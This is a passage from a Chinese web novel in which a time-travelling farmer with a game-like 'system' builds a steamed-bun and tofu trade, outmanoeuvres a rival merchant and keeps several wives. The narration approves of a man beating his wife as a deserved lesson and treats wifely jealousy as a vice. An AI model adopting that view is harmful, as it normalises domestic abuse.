刘氏虽是心里很不情愿,但她现在被生气的何铁牛打怕了,也担心真被丢出去。
何铁牛长得高大再有些钱,真是不愁娶不到婆娘,反倒是她,被丢出去就彻底完了,以后还得过吃了上顿没下顿的苦日子。
张绣娘家.....
李逸正在给趴在床上的张绣娘按摩,豆子和大丫在外屋烧水没敢偷看。
张绣娘一番犹豫后,忍不住说道:“三儿.....”
李逸忙开口打断:“嫂嫂,你别这么喊我啊,都告诉你了我现在叫李逸”
张绣娘转头娇嗔:“人家这么喊你,不是....不是想着和你亲近些嘛?”
李逸坏笑:“那你喊个夫君听听,不是更亲近。”
张秀香俏脸一红,作为过来人她又故作大胆地说道:“什么时候你做了夫君该做的事儿,我再喊....”
“哎呀....我说正事儿呢,你别打岔!”张绣娘白了李逸一眼。
“铁牛憨厚老实很可靠,但他家的婆娘刘氏那心眼子可是很多的,我去拿老面时她总想跟着我,咱们教会了她做馒头,她回头可能就自己做馒头卖了。”
既然已经和李逸摊牌说明,张绣娘心在自然是一心要向着李逸的,当成一家人。
李逸手上按摩腰椎的动作没停,不甚在意地回答道:
“小事,馒头这东西本就没几天可做了,豆腐才是咱们这个冬天进项,我也是在试探她”
“另外,咱们现在缺人手啊.....嫂嫂....你在咱们村里再给我寻摸两三个靠谱的人。”
见李逸心中有数张绣娘便是不担心,想了想说道:“你这么说,我心中还真是有些合适人选,不过我觉得吧,咱们一开始不能给那么多,你给多了大家都会觉得这馒头能赚大钱,就容易打歪心思。”
李逸觉得张绣娘这话也在理,给得少人家或许还感激你,给得多就只会觉得你赚得更多心生妒忌。
说话间....二十分钟的按摩也结束了。
【医术熟练度+2】
【生存技能医术升级】
【获得奖励:力量+1】
【获得奖励:消除自身所有隐疾】
看到这些系统提示,李逸因为心情太过激动导致手上力道加大,按的张绣娘发出一声闷哼。
之前看什么都无感,现在看张绣娘的腰线和腰窝,还有微红的俏脸,李逸顿时感觉身体内有一阵阵躁动。
好了!隐疾好了!他不用再装圣僧,终于能抬起头做个真男人。
张绣娘虽是想让李逸留下来过夜,但想着两个孩子还在外面锅灶前蹲着,时候也不早了,一会两个孩子就该犯困,所以只能不舍地放李逸离开。
李逸离开时,她看李逸的眼神都要拉丝了。
李逸快速回到家,熄灭油灯后在新制作的浴桶中洗了个舒服的温水澡,他这反常的举动让在炕上躺着四女心有所感,一个个躺好在,黑暗中默不作声....
屋子里,只能听到一阵阵哗啦啦的水声,和李逸心情不错的哼哼声.....
经过漫长的等待,等李逸躺回炕上,一直劲头十足的白雪儿,今晚竟然有些犹豫了,默不作声在那装佯装睡着了。
见四女装傻不自觉,李逸清了清嗓子,中气十足:
“今晚!都给夫君侍寝!我点名的自觉过来啊!”
“雪儿,你先来!”
白雪儿的脸颊红得发烫,她把头心虚地缩回被子中,闷闷的声音从被窝中传出。
“夫.....夫君,还是心月姐姐先来吧,我...我等一下”
李逸一笑,这个小魔女见天地往他被窝溜,决心就差写在脸上了,现在要上战场反倒是心虚了,晚了!
“大胆!竟敢忤逆夫君,家法伺候!过来吧你!”
“......”
第六十四章:气急败坏的陈家主
次日....天刚微亮,李逸就习惯性地早早起身。
自从穿越后,他已经养成了非常规律的作息习惯,今天起来他只觉浑身通透,隐疾被解决,连呼吸似乎都顺畅了许多,心中也再无半分负担。
昨晚虽说是要四女全部侍寝,于巧倩却因来了月事得以幸免,逃过一劫。
正如李逸所料的那般,他与秦心月和陈玉竹有了夫妻之实后,二人的名字果然出现在伴侣列表中,好感度竟还出奇的高。
【秦心月:好感度50】
【陈玉竹:好感度40】
这般高的初始好感度,只需再添几分,便能解锁好感度提升的奖励,获得自由分配的属性点。
昨夜李逸已深切体会到高体质属性的妙处,作为一个男人嘛或许可以没有强大的力量和迅捷的速度,但耐力是绝不可缺的。若能自由分配属性点,李逸暗自决定必要将体质属性拉满,届时便是应对再多风浪也无惧......
秦心月今日破天荒的未早起练功,李逸起身时,她正用棉被将脑袋裹得得严严实实,只露出一截乌黑的发梢,显然是害羞到了极点。
另一侧的陈玉竹也蜷缩着,半张脸缩在被窝里,长长的睫毛垂在眼睑上,不敢与李逸对视,脸颊还泛着淡淡的红晕。
至于白雪儿嘛还在呼呼酣睡,脸上是得偿所愿的满足,昨夜做梦自己给夫君生了三个大胖小子,成了为李家开枝散叶的第一大功臣!
李逸推开大门,寒风便裹胁着凉意涌入院子,陈氏已抱着苗苗站在院外。
李逸特意给这干瘦的小丫头缝制了一顶迷你兔皮帽,衬得她小脸越发蜡黄,却也添了几分娇憨,甚是可爱,张绣娘还没有来,想着应是去村中寻觅靠谱人手了。
约莫一刻钟后,何铁牛带着刘氏匆匆赶来。
李逸一眼便看出了些端倪,刘氏的脸颊肿得老高,眼泡浮肿,眼底还带着红丝,显然昨夜是哭了许久。
见李逸看来,刘氏眼神闪躲,慌忙低下头,手指无意识地绞着衣角。
何铁牛上前一步,语气带着几分愧疚,将昨夜之事一五一十说了出来,是真的没有半分隐瞒,就差具体到打了几巴掌。
李逸嘴角噙着笑意,这何铁牛看着憨厚,心里却亮堂得很,知道孰轻孰重。
而这刘氏,也确实该受这一顿教训,好让她明白些事情。
若何铁牛还是什么都依刘氏这个婆娘,李逸就算看中他也不会重用他,现在可以打消这个顾虑了。
“铁牛哥,你选得很对。”李逸拍了拍他的肩膀,语气笃定:
“一天一两百钱你觉得就是多了?只要你好好跟着**,保证不出三年,我让你也成为县城里有头有脸的大户人家,住大宅院,再纳几房妻妾。”
听闻此言,何铁牛顿时双眼发亮,胸膛拍得砰砰作响:
“李三兄弟你放心!我心里有数,你让**啥我就干啥,保证不含糊!!这婆娘若再敢动歪心思,我直接休了她,以后做了大户人家,还愁没女人?”
李逸只是笑了笑,并未反驳。
刘氏在那边侧着耳朵听,听得她心中一阵阵后怕。
今日暂无木工活计,李逸便让何铁牛帮忙用石磨磨面。
又过了半个时辰,张绣娘才带着三个妇人赶来,她们个个面黄肌瘦,穿着打满补丁的破衣烂衫,冻得缩着脖子,双手揣在袖筒里,眼神畏畏缩缩的有些忐忑。
冬日里她们大多缩在屋内避寒,对村里近日的变化一无所知。
起初听闻去李三家做工,心中满是疑虑,以前的李三是什么德行大家都知道,那就是村里的一大害虫,可瞧见张绣娘红润的气色、身上崭新的冬衣,又想起家中早已断粮,仅存的百十来斤粟米,即便顿顿喝稀粥,也未必能撑过这个冬天,心中便动摇了。
尤其是豆子的那句话,更是戳中了她们的心窝:
“你们跟着我三叔干活,顿顿都能吃饱饭的,我三叔现在可厉害了!”
一路忐忑不安,在踏入李三家院子的那一刻,所有疑虑尽数消散。
木屋虽依旧简陋,但两排木棚搭得规整有序,院中那头高大的骡子更是让她们惊掉了下巴,这可是顶值钱的大牲口,寻常农户哪里养得起?
还有院里那几位年轻貌美的女子,都穿着光鲜的绸布冬衣,还有她们一时没认出的陈氏,昔日王赖子那疯疯癫癫的婆娘,如今头发剪短了,衣着干净整洁,仿佛换了个人一般。
“嫂嫂,你带着这几位嫂嫂洗洗手,先吃点东西垫垫肚子才有力气干活。”李逸笑着招呼。
张绣娘也不见外,在李逸家宛若在自己家一般自在,拉着三人便进了屋里。
一人一碗热腾腾的粟米粥,外加一个白胖的馒头,不仅管饱,那松软香甜的馒头味,让她们只觉像是在做梦。
“三位嫂嫂,你们便跟着我绣娘嫂嫂学做馒头,头两日,每日给十钱工钱,管三顿饭,等学会了后,每日给三十钱。”李逸平静地说道。
听闻管三顿饭还能得十钱工钱,三女已是震惊不已,待听到学会后每日能拿三十钱,更是连忙点头,生怕李逸反悔。
陈玉竹轻步走到李逸身边,声音低低的有些期待:“夫君,我能做些什么?”
李逸看着她娇羞的模样,本想说让她歇着,可转念一想,这也是她想要融入这个家的心意,便笑道:“玉竹聪慧,我教你做豆腐。心月,你也一起来学学。”
秦心月闻言走上前来,看李逸时眼神仍有些闪躲,耳根泛着红。
李逸就爱瞧她这高冷女侠害羞的模样,忍不住低声调侃:“哎呀,我家心月害羞呢?不打紧!夫君连着让你侍寝十日,保管你会习惯。”
秦心月美眸一瞪,强作镇定道:“这有何难?多少日我都受得住,倒是夫君,怕是撑不住吧?”
李逸挑眉,作势抱拳道:“那今晚便请秦女侠继续赐教了!”
夹在二人中间的陈玉竹,脸颊瞬间红透,恨不得捂住耳朵,心中暗道:
夫君和心月姐姐,怎...怎敢如此明目张胆说这般话?羞**了!
忙碌了一整天,有秦心月和陈玉竹帮忙磨豆子、滤豆浆,到天黑时,李逸足足做了四板豆腐,雪白紧实,透着浓郁的豆香。
傍晚时分,那三个新来的寡妇扭捏了许久,才小心翼翼地说想把晚饭带回家吃,给家里的孩子尝尝。
李逸大方的答应,给每人递了十钱工钱,又额外给了四个馒头,笑着说:
“几位嫂嫂,若是家里没米了,也可在我这儿拿些粟米抵工钱,不必客气。”
三人连忙道谢,激动得眼眶发红,怀里揣着馒头和铜钱,脚步都轻快了许多。
何铁牛瞪了刘氏一眼,那眼神分明在说:你看吧!李三兄弟待咱们不薄,给她们才多少,给咱们多少啊。
刘氏羞愧地低下头,不敢与他对视。
与此同时,安平县城陈家。
今夜寒风刺骨,宛若刀子般刮在脸上,火把的火苗被风吹得摇曳不定,光影在墙上忽明忽暗。陈林将头顶的皮帽往下拉了拉,遮住大半张脸,仍觉寒意刺骨。
陈忠见状,连忙上前躬身道:“家主,外面天寒,您还是回屋吧!”
陈林抬手制止,沉声道:“粮食收得如何了?”
“回家主,除了几个小商铺,还有那精于算计的徐老板,其余铺子的大麦、小麦已尽数收购,足有一万四千多斤。若是再来一场封路的大雪,王金石他们短时间内休
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想买到麦子。”
陈忠顿了顿,犹豫道:“不过……”
“有话快说,别卖关子!”陈林皱眉催促。
“我们收粮时,发现有人在大量收购黄豆,打听后得知,正是王记酒肆所为。”
陈林眯起狭长的双眼,宛若一只老狐狸:“豆子?他收那么多豆子作甚?”
“这...这老奴不知。”陈忠低头答道。
“哼,不必管他。”陈林摆了摆手,又问:“那个农户还没动静?”
“回老爷,城门口和王记酒肆都有人盯着,尚未见到那农户的身影,倒是瞧见了李记酒肆和食芳斋的掌柜,频繁出入王记。”
陈林沉默不语,这几日他多次邀请城中酒肆食肆的老板赴宴,却仅有四人前来,其余八人皆婉拒,其中便包括这二人。
“看样子,他们是铁了心要跟着王胖子了。”陈林冷笑一声:“等我拿到馒头配方,他们再想来求我,可就晚了!”
“对了家主,老奴想起一事。”陈忠忽然说道。
“说!”
“昨日有下人回报,王记酒肆似乎又出了新吃食。”
陈林骤然瞪大双眼,质问道:“此事为何昨日不告诉我?”
“老奴昨日忙着收粮,一时疏忽,给忘了……”陈忠连忙认错。
陈林强压怒火:“明日派人给我买来,我倒要看看,是什么新奇玩意儿!”
次日正午,天气愈发寒冷,寒风刮在脸上生疼。陈林坐在屋内的火盆旁,一边饮茶,一边思索对策。
“家主!家主!出大事了!”
陈忠跌跌撞撞地从门外冲进来,脸颊冻得通红,神色很是慌乱。
“慌慌张张的,像什么!”陈林不满地将茶盏重重放在桌上,目光瞥见陈忠手中端着的两个小盘。
陈忠连忙上前,将盘子放在桌上,低着头退到一旁:
“家主,这....这个便是王记新上的吃食,您先尝尝吧”
陈林看向盘中之物,一盘洁白如雪,上面撒着些葱花,另一盘色泽金黄,一股浓郁的豆香萦绕鼻尖。他心中生出一丝不好的预感,问道:“这是什么?”
“回家主,白色的叫翡翠白玉豆腐,一小盘八十八钱,金黄色的叫黄金白玉豆腐,一小盘一百二十八钱。”
陈林拿起筷子,先夹了一块翡翠白玉豆腐。
天气寒冷,这豆腐一路带回来早已冰凉,但入口却细腻嫩滑,浓郁的豆香在口中散开,口感竟是前所未有的美妙。
陈林面色微变,又夹起一块金黄色的豆腐,外酥里嫩,豆香愈发淳厚,只一口,他的脸色便沉得如同锅底。
这名为豆腐的吃食,味道惊为天人,且老少皆宜。
馒头的事尚未解决,王记竟又推出这般新奇吃食,此物一出,他的陈芳斋怕是要门可罗雀了!
“该死的王胖子!”
陈林怒不可遏,手臂一扫,桌上的盘子瞬间摔落在地,瓷片四溅,豆腐撒了一地。
陈忠见状,连忙跪下:“家主息怒啊!”
“滚出去!滚出去!”
陈林怒骂着,随手将手中的茶盏砸了过去,茶盏擦着陈忠的耳边飞过,摔在墙上碎裂开来。
陈忠连忙退出房间,不敢再多言。
屋内,陈林扶着额头,用力揉捏着眉心,心中烦躁不已。
难怪王金石要大量收购黄豆,原来是为了制作这豆腐!这豆香如此浓郁,一尝便知是用豆子做的,可这制作方法,却任凭他抓破脑袋也想不通。
他忽然想起那日在城外见到的那个不起眼的小农户,馒头是他做的,这豆腐,莫非也是他的手笔?
陈林越想越烦躁,恨不得立刻将那小农户绑来问个清楚,可即便没有馒头和豆腐,他也绝不能再坐以待毙!
第六十五章:带嫂子进城
“呵呵呵.......陈老狐狸这是真急眼了啊!”
王金石站在酒肆门口,拍着大腿笑得满脸肥肉颤动,听伙计丁二把打探来的消息说完,他眼角的皱纹都笑得挤在了一起。
今日一早,陈芳斋就放出了风声,即日起,店内所有吃食按照往日的半价售卖,连平日里价格坚挺的粟米酒也同样是半价售卖,他如此做这哪是做生意,分明是在亏本硬撑赚个吆喝。
王金石眼珠一转计上心头,转身回屋他抬手拍了拍巴掌,将店内食客的目光都吸引过来,笑着高声道:
“给大伙说个好消息啊!陈芳斋的粟米酒今日半价售卖啊,那陈林难得如此大方,天寒地冻的多喝点酒好能暖身,这便宜不占白不占啊!”
众人闻言纷纷点头附和,酒本就是冬日刚需只是价格偏高,如今半价售卖就算不当现在喝,买上几坛存着也划算,那可是能省一半的铜钱。
“王店主真是心善,这般好事都肯告知我们!”有食客高声夸赞引得旁人也跟着附和。
“哎呀,我定要买个十坛八坛,存起来留着来年喝。”
王金石笑着抱拳:“不必如此客气,都是街坊邻里的,我也是想你们省些铜钱”
下午.....
陈芳斋果然是门庭若市,进进出出的客人络绎不绝,门槛都快被踩平了。
可陈林坐在后堂却是一点都开心不起来,面色阴沉得能滴出水来。
这些人清一色都是冲着半价的粟米酒来的,进店后只买酒不点菜,问起吃食要么摇头摆手,要么直言说,不如王记的馒头豆腐稀罕。
更可气的是刚才那位,买了五坛子酒,还询问能不能送一盘炒黄豆,简直是无耻至极!
陈林原本只想说是吃食半价,可面对满店客人的质问,他只能是硬着头皮认下。
这一认可就收不住了,客人们三坛五坛地抢购,到傍晚时分,酒窖里的粟米酒就卖了一半。
如此低价售卖,每一坛酒他都要亏损五到十钱,这么算下来,这大半天他就亏了上千钱,而真正在店内吃饭的食客,寥寥无几还不足五指之数。
另一边.....
白玉豆腐在王记酒肆正式开始售卖,虽定价偏高却挡不住众人想要尝鲜的热情。
馒头抢不到也就罢了,这名字听着就贵气的白玉豆腐,有些钱财的人总得尝尝究竟是何等滋味。
很快.....白玉豆腐的名声就在安平县城扩散开来,风头竟隐隐盖过了馒头。
那些先前与王金石结盟的老板们,也越发坐不住了,日日派人来打探消息,就盼着自家店铺也能早日售卖这新奇吃食。
日盼夜盼,在七天后李逸终于赶着骡车再次来到安平县城。
木板车上装得满满当当,四千多个馒头用麻袋装好层层叠放,十二桶豆腐裹着厚厚的茅草和棉被,稳稳地固定在车厢里。
其实这些茅草只是做做样子,无人的时候这些都是要放进物品栏的,所以豆腐根本不用担心冻坏。
“快快快......都给我动作麻利点!”
王金石一见骡车到来悬了多日的心终于落了地,忙指挥伙计卸货。
这几日那八位结盟的老板都快把他酒肆的门槛踏破了,若是李逸再不来,这脆弱的合作关系怕是要彻底瓦解了。
王金石当即吩咐丁二:“去!把那八位掌柜都请过来,就说李兄弟到了!”
“哎呦,李兄弟,这一路辛苦你了!”王金石搓着手笑道。
“不过你这骡车是又小又慢,不如以后就用我的马车吧,来往运送也方便些。”
李逸笑着点头:“这事之后再说,咱们先把分配的事商议好”
“之后确实要用到马车,还得劳烦王大哥跟我去一趟乡里拉些东西。”
“成!都听兄弟你的!”王金石满口应下。
不多时八位店铺掌柜陆续赶到,一个个脸上带着急切,听到李逸来了他们手上的活计都暂且丢在了一边。
“诸位掌柜,这次我带来四千个馒头和十二桶豆腐,今日分配下去后你们的店铺便可正式售卖了。”
李逸开门见山,目光在众人的脸上一一扫过:“不过有几件事,我得提前跟诸位老板说清楚。”
“其一!是咱们既然是结了盟,那么售卖的价就必须统一,任何店铺都不得擅自抬价或压价”
“其二!我做了些木牌,这上面刻着咱们所有结盟店铺的名字,你们带回去各自挂在店内。”
“若是自家的馒头或豆腐卖光了,就要告知客人去其他的店铺购买,这样才能让客源都流动起来,等所有店铺都被食客知晓,他们自然会就近选择。”
王金石眼睛一亮当即拍手称赞:
“妙!妙啊!我李兄弟这法子想得真是周全,这样咱们才能个个有生意做,人人有钱赚!”
说着他拿起一块木牌,对伙计吩咐道:“赶紧给我挂上,就挂在最显眼的门口处。”
“诸位放心!今日我这边会控制售卖的数量,好让那些食客们陆续分流到各位的店铺去!”
众掌柜纷纷点头,对李逸的主意和王金石的做法很是赞同,这样既顾全了自家生意又兼顾了盟友,确实是稳妥的好法子。
李逸忽地收敛笑容,语气也跟着郑重起来:
“我可以保证,咱们结盟的店铺数量,以后只会少不会再在有增加,所以各位做事前都要想清楚些,若是只顾一己之私损害了大伙的利益,被踢出去时可别喊冤屈。”
李逸顿了顿,随后又抛出一个重磅消息:
“现在咱们一起售卖馒头和豆腐,但过几个月或是在一年之后,我会给每家店铺定制一两种专属菜品和吃食,以此来作为你们的独家招牌吸引客人。”
这话一出,众掌柜顿时眼睛发亮,心中火热不已!
他们看向李逸的眼神满是期待,若能有独家招牌的吃食,店铺的日后的买卖自是不用愁。
见无人有异议,众人便开始商议具体的分配方案。
根据各家店铺的规模位置和平日的食客,公平地划分了馒头和豆腐的分配数量。
李逸虽不算什么经商奇才,但现代社会的商业逻辑早已刻在他的骨子血液里,这些简单的运营方法信手拈来。至于后续可能出现的问题,也只能走一步看一步,随时发现随时解决。
毕竟所有吃食的制作方法都掌握在他手里,这便是他掌控全局的底气。
这次随同带来的还有配套的木桶和笼屉,这些都要另算价钱且定价不低,但众掌柜没有一人觉得不妥,他们能搭上这趟赚钱的顺风车,这点投入算不得什么。
之后各家会派可信的伙计过来学习制作方法,李逸也提前打好了预防针,若是哪家泄露配方因此而损害其它店铺的利益,就要当即除名绝不姑息。
这边才刚忙完,李逸便让王金石安排两辆大马车,跟着他马不停蹄地赶往乡里,从王石匠那里拉回预先定制的那些石磨。
王金石给李逸安置的小院就在酒肆后院斜对面,虽看着有些老旧,却是以前大户人家住过的,院子宽敞,房屋整洁,所需之物王金石也早已提前购置齐全。
此时搭火炕已来不及,李逸便简化方案用石头和黄泥堆砌了两个超大号的灶台。
灶台够大,烟囱够粗,这样在烧火时能散发出不少热气用来取暖,灶台表面还能摆放发酵老面的木桶,一举两得。
李逸从乡里回来时天已经完全黑透,王金石还在小院中等着。
听闻李逸要砌灶台他便连夜找人,让工匠们明日一早便带着材料过来。
这年头日子难过,冬日里能有个活干赚点米粮钱,不少工匠都是挤破头想来做。
虽已上冻黄土不好深挖,但只挖表层的冻土也不算难,和泥的时候用温热水也能正常施
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工。
次日一早李逸刚打完五组《气合拳》,六个工匠便推着碎石和黄土进了院,就看他们的穿着便是知道日子有多难捱。
李逸负责指挥工匠就们按他的要求砌灶,人多干活快,不到一天时间两个敦实的大灶台便完工了,李逸叮嘱王金石安排伙计用小火烧水,慢慢烘干砌灶台的黄泥,然后是连夜赶着骡车返回了大荒村。
时间紧迫顾不上好好休息,只在家里休息了一夜李逸又前往县城,这一趟他带走了一半的老面还带上了张绣娘。
家里这边,秦心月和于巧倩就能盯着大局,陈氏蒸馒头的手法早已熟练不比张绣娘差。
刘氏和三个新来的寡妇负责打下手,有她们几个蒸馒头已然足够,再加上何铁牛专门负责磨面粉,李逸设计的流水线般的操作有着极高的效率。
结算工钱时,何铁牛和刘氏看着手中的一千钱,眼睛都看直了!只这不到十日的功夫,他们就赚了往年一年都赚不到的铜钱,做梦都不敢这么想,
李逸特意跟他们解释了,说是因为这几日的馒头价格高,所以钱才这么多,等过段时间价格降了,收入最多只有现在的一半还有可能更少,让他们好有个心理准备。
这其实就是最基本的供需规律,做的人越来越多,售卖的数量超过每日县城时刻需求的数量,粮店见馒头热销定然会跟风抬高小麦价格,而安平县境内农户多种植粟米,想要收购大量小麦得去临县甚至更远的地方,以如今的运输能力一来一回就要十天半个月。
这些种种因素叠加,馒头的成本会增加售价降低,所以能创造的利润就会大打折扣。
李逸本就没指望靠馒头和豆腐建立什么商业帝国,他要的是借着每一股风口赚个快钱,号快速积累他的原始资金。
别看他的物品栏里现在已有了几万钱,但这点钱买两头黄牛就所剩无几,远是没达到他的预期。
买卖暂时算是步入了正轨,家庭的关系也越发和睦。
最近几日,解决了隐疾的李逸可谓是骁勇善战!
他将秦心月陈玉竹和于巧倩都照顾得服服帖帖,连连求饶,而没了月事这个挡箭牌,于巧倩也难逃李逸的魔爪。
知道李逸要在县城住几日,白雪儿拉着他的袖子撒娇吵着要一起去,秦心月、陈玉竹和于巧倩却只字未提,她们早已察觉到张绣娘看李逸的眼神不对,既然李逸只说带张绣娘,她们便故作不知,各自守着分寸。
女德中,善妒是大忌!
最失落的莫过于豆子和大丫,他们也想跟着去县城,可听李逸说,去了要忙着做活没时间照顾他们,便懂事地不再哭闹,只是反复地叮嘱和张绣娘希望他们可以早点回来。
与此同时,安平县城的陈芳斋内,却是另一番景象......
从早上开门到过了中午饭口,店铺里连一个食客的影子都没有。
昨天倒是来了几个客人却都是冲着半价酒来的,一听店伙计说,酒窖没有酒不再售卖,便骂骂咧咧地走了,连一眼都没看店内的吃食。
陈林坐在靠窗的位置,表情阴沉得如同窗外的乌云,周身的寒气让伙计们连大气都不敢喘。
如此他便是看懂了,这王金石是抢先了一步做了他原本打算做的事,联合那八家店铺,就是准备合力断了他陈芳斋的活路。
没有馒头和豆腐这两样新奇吃食,就算他降价也没人愿意来,若是再想不出应对之法,不出一个月他这陈芳斋就得关门大吉。
大麦小麦他囤了不少,豆子也跟着收了些,如今只能盼着下一场大雪封路让外面的粮食运不进来,断了王金石他们的原料供应,可这终究不是长久之计。
陈林忽地攥紧拳头,牙齿咬得咯咯作响,声音从牙缝里一点点挤出来,带着刺骨的寒意:
“好!既然你们断我生路,那我就让你们吃不起盐!”
第六十六章:天雷勾地火,久旱逢甘霖
张绣娘这辈子最远就去过两趟乡里,这是她头一回来安平县城,还是跟着李逸一起,心里是既紧张又欢喜。
李逸让她坐在板车后面,铺上厚厚的干草再盖着皮袄,好暖和些。
可这出了大荒村还没多远,她便忍不住挪到李逸身边紧紧挨着他坐下,粗糙的手自然地挎住李逸的胳膊,一点都不避讳了。
来到安平县城,二人没有先去王记酒肆,而是径直去了王金石给安排的小院里。
刚推开虚掩的院门,就见丁二正忙活着往屋里搬木柴。
“呦!李兄弟!”丁二连忙放下木柴打招呼。
“店主让我多送些木柴过来,灶火连着烧了一天一夜黄泥都干了,屋里也热乎了多少,一会我再拿个火盆过来。”
丁二手脚麻利地帮着将板车上的东西一一搬进屋,然后就小跑着去酒肆喊王金石。
没多时就听见院门外传来熟悉的爽朗笑声,王金石挺着他那圆滚滚的肚子,大步走进来:
“哈哈哈....李兄弟,你可真是大忙人啊!”
一进来王金石就忍不住分享喜悦:
“兄弟,我跟你说啊,这白玉豆腐的生意可比馒头还要好啊!昨日我那酒肆光是豆腐就卖了三十多盘,好些客人没吃上还缠着伙计问呢,你可得抓紧多做些才是。”
目光落在张绣娘身上,之前两次王金石见到的都是秦心月,也见过了陈玉竹。
“这也是我媳妇,张绣娘。”李逸笑着介绍。
张绣娘听到媳妇二字,耳根唰地就红了像着了火似的,连忙心虚的低下头。
王金石恍然大悟,连忙点头:“原来是弟妹,兄弟,你这次带着弟妹过来是要在城里住些时日啊?”
“嗯,有两件事要做。”李逸点头。
“先在这儿做几日豆腐,之后把馒头的做法教会你们的伙计,我们再回村。”
王金石一听当即兴奋地拍手:
“好!太好了!这回定要让陈林那老狐狸的陈芳斋彻底开不下去!”
“你是不知道,自从另外八家铺子都开始卖馒头和豆腐后,陈芳斋如今是一个食客都没有,去的人都是冲着半价酒去,吃食一口没动酒倒买走了不少,那老狐狸气得脸都绿了!”
他说得眉飞色舞,显然是出了一口积压已久的恶气。
李逸略一沉思提醒道:“王大哥,百足之虫死而不僵啊,陈家在县城根基深厚家底殷实,就算陈芳斋亏上一年半载,只靠着贩盐和布行的生意他也能撑的住,咱们还是得小心提防着别让他狗急跳墙。”
王金石脸上的笑意瞬间收敛,眉头拧了起来:
“兄弟你说得也在理,他那贩盐的生意本就暴利是陈家的摇钱树。前几日他一直在收购小麦和大豆,好在是我也提前囤了不少,否则真有可能被这老狐狸断了后路。”
王金石突然瞪大了眼睛,似是想到了什么:
“盐!他若是把市面上的盐都收了那咱们可就麻烦了,做吃食的咋能离得开盐,他要是掐断盐路,咱们的生意也不好做了!”
“我先去查查情况,等下咱们再商议其它!”
王金石说罢,风风火火地转身就走,别看他长得五大三粗心思倒是细腻,一点就透,知道该往哪里提防。
今日的天色阴得厉害,深呼吸就能嗅到寒风里湿冷气息。
这是大雪将至的征兆,一旦大雪封路,短途往来尚可长途的货品运输必定中断。
不过这些倒不用李逸过多操心,冲在前面与陈家周旋的是王金石和其他结盟的店主,他只是个小农户没必要亲自下场厮杀。
“嫂嫂,咱们先收拾收拾明日就开始做豆腐。”
李逸检查了下让王金石备的木料,万一缺些木零件他好随时制作。
“好,我去屋里收拾下。”张绣娘点头,转身走进里屋。
屋里的陈设很简单,一张不算大的双人木床,上面铺着厚实的绸布被褥,绸布光滑里面的棉花也厚实,一看就是大户人家才用得起的好东西,张绣娘轻轻抚摸着光滑的绸布,心头一阵发热。
忽然想到,这屋里可就只有一张床,今晚她和李逸自然是要同床而眠,这回没有大丫和豆子在跟前,她也再无顾虑。
张绣娘的嘴角忍不住微微上扬,心中的期待竟压过了那些许的羞涩。
李逸已经在院子里叮叮当当忙活起来,石磨还需要配些木零件,得先量好石磨预留的孔洞大小才能动手,王石匠做的石磨只能大致相同,细节上难免有偏差,这些都得他亲手来调整。
两三个时辰转瞬即逝,天彻底黑了下来,纷纷扬扬的细碎雪花飘落,落在屋檐上院墙上,很快就积了一层薄薄的雪沫子。
王金石这时才去而复返,脸上带着几分庆幸:“**!还好有李兄弟你提醒!”
他一进门就大声说道:“陈林那老狐狸竟然在暗中收购市面上的盐!再晚一步,城里的盐就被他全收了!等大雪封路,他到时候掐着全城的盐价就是掐着咱们的脖子!”
张绣娘站在一旁,看着李逸从容不迫地和王金石商议对策,心中满是敬佩。
像王金石这样一看就有身份地位的大户,她连远远看一眼都觉得胆怯。
以前去乡里,就连小小的粮店老板都懒得正眼瞧她,言语间尽是刻薄。
如今李逸能让这样的人物另眼相看,还把这么好的院子给他们住,张绣娘只觉得脸上也跟着有光。
李逸送走王金石关好院门,转身就见张绣娘还站在屋里发怔,眼神有些恍惚。
“嫂嫂在想什么?”他走过去笑着问。
“今天早些休息,明日可是有的忙了。等下我给你按摩按摩看看你那腰伤怎么样了。”
张绣娘回过神嗔怪地瞪了一眼,她听出李逸这话里有话。
屋外风雪飘摇寒风呜呜地刮着,屋内久旱逢甘霖,天雷勾地火,无需多言自有一番温情脉脉。
次日一早,李逸还没睡醒,就听见外屋传来柴火燃烧的噼啪声。
起身一看张绣娘竟然正蹲在灶前添柴,火光映着她的侧脸,看气色比昨日好了许多,眼角眉梢还带着淡淡的春意,比往日美艳了三分。
“睡醒了?”
张绣娘见李逸直勾勾地盯着自己,白了他一眼,语气带着几分娇嗔:
“看你这眼神儿,你是要把我生吞活剥了不成?昨晚折腾得骨头都要散架了,真是个冤家!看着人不壮实,力气比那拉车的大骡子还足。”
虽是抱怨的语气,可她嘴角的笑意却压不住,眼底满是藏不住的满意。
李逸走过去从背后轻轻搂住她的腰,在她耳边低声调侃:“嫂嫂满意就好。”
张绣娘的脸颊瞬间红透,拍开他的手:“哎呀大半天的别胡闹,赶紧做活吧!”
屋外的雪还在下,昨晚的细碎雪沫子,如今已成了漫天飞舞的雪片,落在地上簌簌作响,地面已经积了薄薄一层白雪。
李逸把石磨搬到屋里准备制作豆腐,如今他的力量属性已经提升到5点,身体素质碾压何铁牛。别看他外表依旧是有些瘦弱,但脱下外衣就能看到,身上布满了线条流畅的肌肉,虽不粗壮却充满了爆发力。
他和张绣娘一起忙活配合得格外默契,张绣娘负责添豆子加水,李逸则推着石磨研磨,磨盘转动的声音与豆浆滴落的声音交织在一起。
李逸时不时凑到张绣娘耳边,说些俏皮话逗弄她,让枯燥的劳作多了几分趣味。
张绣娘本就心灵手巧,磨豆子的手法渐渐熟练,甚至比李逸还要利落,唯一欠缺的便是豆腐点卤的技巧,等她把这手艺也掌握了便能独挑大梁。
看着张绣娘围着灶台忙碌的身影,李逸忽然想到了豆腐西施这个词,忍不住笑了出来。
他走上前几乎是将张绣娘搂在怀里,手把手教她如何点卤:
“嫂嫂,你看好,这石膏水可是要慢慢加,一边加一边轻轻搅,搅出漩涡这样石膏水才能和豆浆充分融合,不会沉积在一处。”
石膏点卤原有两种法子,直接用生石膏是古法。
另一种是将生石膏煅烧成熟石膏,用熟石膏点卤三五分钟便能成型,比生石膏节省不少时间,这是后世改良的法子,优势明显,可缺点也突出。
熟石膏不易掌控,稍不留意就会结块影响豆腐口感,而且想要将生石膏完全煅烧透,普通柴火的温度远远不够,李逸眼下的条件只能将其烧至半熟,达不到预期效果,索性便沿用古法用生石
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膏点卤。
“呦!好浓的豆香味儿啊!”
王金石刚走进马厩,就闻到顺着寒风飘过来的浓郁豆香,心里一动当即吩咐身边的伙计:
“你去后院那院门口守着,不许外人靠近啊,若是看到形迹可疑的人立刻来禀报,一个时辰后我让人来替你。”
“是,店主!”伙计连忙应下,快步往后院走去。
